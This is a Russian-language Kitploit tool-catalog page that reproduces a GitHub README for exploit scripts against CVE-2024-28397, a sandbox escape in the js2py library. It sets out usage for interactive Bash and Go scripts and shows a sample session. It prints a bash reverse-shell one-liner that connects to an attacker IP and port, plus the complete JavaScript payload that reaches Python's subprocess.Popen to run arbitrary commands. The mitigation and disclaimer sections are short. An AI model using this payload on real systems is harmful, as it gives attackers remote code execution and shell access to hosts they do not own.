Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
js2py-Sandbox-Escape-CVE-2024-28397-RCE — Эксплойт-скрипты для CVE-2024-28397 — обход песочницы js2py, который выполняет произвольный код Python для запуска обратной оболочки на целевом узле. | Kitploit
Инструменты/GitHubGitHub/0xdtc/js2py-sandbox-escape-cve-2024-28397-rce
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеИнструмент Удаленного Доступа
GitHub0xdtc/js2py-sandbox-escape-cve-2024-28397-rce

js2py-Sandbox-Escape-CVE-2024-28397-RCE

Эксплойт-скрипты для CVE-2024-28397 — обход песочницы js2py, который выполняет произвольный код Python для запуска обратной оболочки на целевом узле.

Репозиторий
350 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-28397 js2py эксплойт обхода песочницы

Набор скриптов эксплойтов, нацеленных на уязвимость обхода песочницы js2py (CVE-2024-28397), которая позволяет выполнять произвольный код через интроспекцию объектов Python.

🔍 Обзор уязвимости

Библиотека js2py содержит критическую уязвимость обхода песочницы, которая позволяет злоумышленникам выполнять произвольный код Python, получая доступ к внутренним объектам Python через метод JavaScript Object.getOwnPropertyNames().

Технические детали

  • Идентификатор CVE: CVE-2024-28397
  • Затронутая библиотека: js2py (транслятор JavaScript в Python)
  • Вектор атаки: Обход песочницы через интроспекцию объектов Python
  • Воздействие: Удаленное выполнение кода (RCE)

📋 Анализ ссылок

Этот эксплойт основан на всестороннем анализе от Marven11:

  • Документ анализа: Анализ обхода песочницы js2py CVE-2024-28397

🛠️ Скрипты эксплойтов

Этот репозиторий содержит три различные реализации:

1. Bash-скрипт (exploit.sh)

Легковесная реализация на Bash с использованием curl и jq.

2. Go-скрипт (exploit.go)

Кроссплатформенная реализация на Go со встроенным HTTP-клиентом.

🚀 Быстрый старт

Предварительные требования

  • Для Bash-скрипта: curl, jq, base64
  • Для Go-скрипта: Go 1.16+

Использование

Все скрипты интерактивны и запросят необходимую информацию:

root@kitploit:~
# Bash version
chmod +x exploit.sh
./exploit.sh

# Go version
go run exploit.go

Интерактивные запросы

Каждый скрипт запросит:

  1. Целевой URL: конечная точка, на которой выполняется уязвимый код js2py
  2. Ваш IP: IP-адрес вашей машины для обратной оболочки
  3. Ваш порт: номер порта для подключения обратной оболочки

Пример сессии

root@kitploit:~
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}

🎯 Как это работает

1. Генерация полезной нагрузки

Эксплойт динамически создает команду обратной оболочки:

root@kitploit:~
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1

2. Кодирование Base64

Команда оболочки кодируется в base64 для безопасной передачи:

root@kitploit:~
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)

3. Обход песочницы JavaScript

Основной эксплойт использует JavaScript для доступа к внутренним объектам Python:

root@kitploit:~
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type") {
            let result = findpopen(item);
            if(result) return result;
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

4. Порядок выполнения

  1. Доступ к системе объектов Python через Object.getOwnPropertyNames({})
  2. Переход к базовым классам через __class__.__base__.__getattribute__
  3. Поиск подклассов subprocess.Popen
  4. Выполнение произвольных системных команд через Popen

🛡️ Смягчение

  • Обновите js2py до исправленной версии
  • Внедрите правильную проверку и очистку входных данных
  • Используйте безопасные альтернативы песочницы
  • Применяйте меры безопасности с многоуровневой защитой

📚 Образовательная цель

Эти скрипты предоставляются только для образовательных и авторизованных целей тестирования. Всегда убедитесь, что у вас есть надлежащее разрешение перед тестированием на любых системах.

🔗 Ссылки

  • Официальная запись CVE-2024-28397
  • Подробный анализ от Marven11
  • Репозиторий js2py на GitHub

⚖️ Отказ от ответственности

Это программное обеспечение предоставляется только для образовательных и авторизованных целей тестирования безопасности. Пользователи несут ответственность за соблюдение применимых законов и получение надлежащего разрешения перед использованием.

Скачать инструмент